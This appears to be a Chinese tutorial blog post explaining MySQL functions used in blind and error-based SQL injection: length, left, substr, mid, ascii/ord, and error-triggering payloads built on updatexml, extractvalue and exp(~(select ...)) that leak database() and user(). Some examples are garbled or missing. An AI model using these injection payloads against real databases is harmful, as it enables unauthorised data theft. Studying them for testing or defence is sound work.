SQL盲注中函式的用法

2021-09-02 15:28:22 字數 3302 閱讀 9838

計算資料庫長度

id=

1' and lengh(

database()

)=8;

sql的left()函式表示的是從字元表示式最左邊乙個字元開始返回指定數目的字元.若 b 的值大於 a 的長度,則返回字元表示式的全部字元a.如果 b 為負值或 0,則返回空字串.

一般用來猜測庫的名字

庫名為security

這說明第乙個字元為s

substr()和substring()函式實現的功能是一樣的,均為擷取字串。

string substring(string, start, length)

string substr(string, start, length)

sql用例:

(1) substr(database(),1,1)>』a』,檢視資料庫名第一位,substr(database(),2,1)檢視資料庫名第二位,依次檢視各位字元。

假如查詢長度為2

string(必需)規定要返回其中一部分的字串。

start(必需)規定開始位置(起始值是 1)。

length(可選)要返回的字元數。如果省略,則 mid() 函式返回剩餘文字

以下為省略了lengh

返回字串str的最左字元的數值。返回0,如果str為空字串。返回null,如果str為null。 ascii()返回數值是從0到255;

ord() 函式返回字串第乙個字元的 ascii 值。

updatexml(xml_document, xpath_string, new_value);
第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc

第二個引數:xpath_string (xpath格式的字串) ,如果不了解xpath語法,可以在網上查詢教程。

第三個引數:new_value,string格式,替換查詢到的符合條件的資料

在當前資料庫中演示

extractvalue(xml_document, xpath_string);

第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc

第二個引數:xpath_string (xpath格式的字串).

在資料庫中報錯

0x7c是分隔符號 |

有一點需要注意,extractvalue()和updatexml能查詢字串的最大長度為32,就是說如果我們想要的結果超過32,就需要用substring()函式擷取,一次檢視32位

**為

extractvalue

(0x7c

,concat

(『1』,

substring

(hex

((select database()

)),1

,5))

)

exp是以e為底的指數函式

mysql>

select exp(1)

;+-------------------+

| exp(1)

|+-------------------+

|2.718281828459045|+

-------------------+

由於數字太大是會產生溢位。這個函式會在引數大於709時溢位,報錯

mysql>

select exp(

709);+

-----------------------+

| exp(

709)|+

-----------------------+

|8.218407461554972e307 |

+-----------------------+

1row

inset

(0.00 sec)

mysql>

select exp(

710)

;error 1690

(22003

): double

value

isout

of range in

'exp(710)'

將0按位取反就會返回「18446744073709551615」,再加上函式成功執行後返回0的緣故,我們將成功執行的函式取反就會得到最大的無符號bigint值。

mysql>

select~0

;+----------------------+|~

0|+----------------------+

|18446744073709551615|+

----------------------+

1row

inset

(0.00 sec)

構造playload

mysql>

select exp(~(

select

*from

(select

user()

)x))

; error 1690

(22003

): double

value

isout

of range in

'exp(~((select 'root@localhost

' from dual)))'

sql盲注特點 SQL盲注

盲注原理 盲注的分類 盲注常用函式 一 sql盲注概述 1.如果資料庫執行返回結果時只反饋對錯不會返回資料庫中的資訊 此時可以採用邏輯判斷是否正確的盲注來獲取資訊。2.盲注是不能通過直接顯示的途徑來獲取資料庫資料的方法。在盲注中,攻擊者根據其返回頁面的不同來判斷資訊 可能是頁面內容的不同,也可以是響...

SQL盲注 時間盲注,dnslog盲注

時間盲注原理 id get id sql select from users where id id limit 0,1 result mysql query sql row mysql fetch array result if row else 存在sql注入漏洞 然而頁面不會回顯資料,也不會回...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...